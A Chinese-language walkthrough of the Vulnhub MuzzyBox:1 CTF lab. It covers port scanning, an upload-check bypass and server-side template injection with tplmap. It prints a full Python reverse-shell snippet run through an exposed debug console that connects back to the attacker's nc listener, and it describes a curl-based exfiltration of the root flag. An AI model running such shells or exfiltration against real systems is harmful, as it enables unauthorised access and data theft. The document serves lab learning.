Vulnhub:MuzzyBox:1
描述:I have created this amazing CTF for pentester. However, This is not like other CTF which has been using common exploits and tools. Instead, you will learn about Real-world website testing methodology, advance injections and more.
下載地址:https://download.vulnhub.com/muzzybox/muzzybox.zip
運行環境:靶機(VirtualBox) 攻擊機:Kali(VMware)
1、信息收集
靶機ip:192.168.1.108
sudo netdiscover #發現主機
探測端口和服務
sudo nmap -sS -sV -O -p- -A 192.168.1.108
打開192.168.1.108:80發現存在index.txt,其中有三個挑戰任務。
挑戰1:
華盛頓州立大學爲學生建立了一個在線圖書館。只有“委託人”纔是“授權人”。
你能繞過他們的邏輯嗎??
鏈接:http://192.168.1.108:3000/
鏈接:http://192.168.1.108:9633/idcard.png
這裏我們能夠明確我們應該是一個繞過數據庫的限制進行上傳,最後還提到了注意不能直接上傳,需要用您的名稱編輯並上傳它的屏幕截圖。
192.168.1.108:9633/idcard.png
將這個idcard下載至我們的主機
curl 192.168.1.108:9633/idcard.png --output idcard.png
我們將這個圖片文件放在windos中用圖形工具進行修改。
將修改過的圖片複製回kali中進行上傳,成功上傳。
挑戰二
在數據泄露之後,大學開發了新的網站,但不知何故它仍在維護中。你能列出當前目錄並讀取標誌文件嗎。
鏈接:192.168.1.108:8989
我們進入到鏈接後發現是python 的錯誤頁面。我們仔細發現,這個的後面有一個控制檯的按鈕,我們點擊一下回出現讓我們輸入密碼,這個密碼就是挑戰一中的那串數字。
在這裏我們可以使用python進行正向連接,並且用nc進行監聽。
nc -lvp 8578
import socket,subprocess,os
>>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
>>> s.connect(("192.168.1.107",8578))
>>> os.dup2(s.fileno(),0)
>>> os.dup2(s.fileno(),1)
>>> os.dup2(s.fileno(),2)
>>> p = subprocess.call(["/bin/sh","-i"])
輸入id
查看flag
挑戰3
系統受損後,根用戶將使用“bash ls”和“sudo ls”命令審覈web服務器文件和目錄。你能用帶外技術得到/root/Final_Flag.txt文件嗎??
鏈接:Link: http://192.168.1.108:15000/page?name=muzzy
這裏我們藉助Tplmap - 掃描服務器端模板注入漏洞的開源工具
git clone https://github.com/epinna/tplmap #將Tplmap工具下載至我們的主機
特別注意,因爲這個工具是用python去寫的,新版的kali中沒有自帶pip庫,我們用下面的方法去安裝pip庫
sudo wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
sudo pip3 -V
我這裏不知道什麼原因python運行不起來,但是通過網上的資料繼續往下做吧,通過用nsctf用戶名和iamnsce密碼登錄ssh進行連接。
第三個開頭已經說了,讓我們獲得/root/final_flag.txt,我們再次啓動nc進行偵聽,用nano編輯ls命令,使用curl來創建一個post請求,從而來監聽到結果。
熬了半宿終於把這個靶機弄完了,陸續我還不停的寫vulnhub的靶機,希望我們可以一起學習,一起討論,上面如果有什麼問題希望大家可以幫我提出了,糾正我,可以加我的wechat:18944630819,郵箱:[email protected]
最後一個遺留問題
我的那個python運行爲什麼一直出錯,誰能告訴我以下,我也已經安裝了pip,而且下載了pyyaml,但是還是報錯。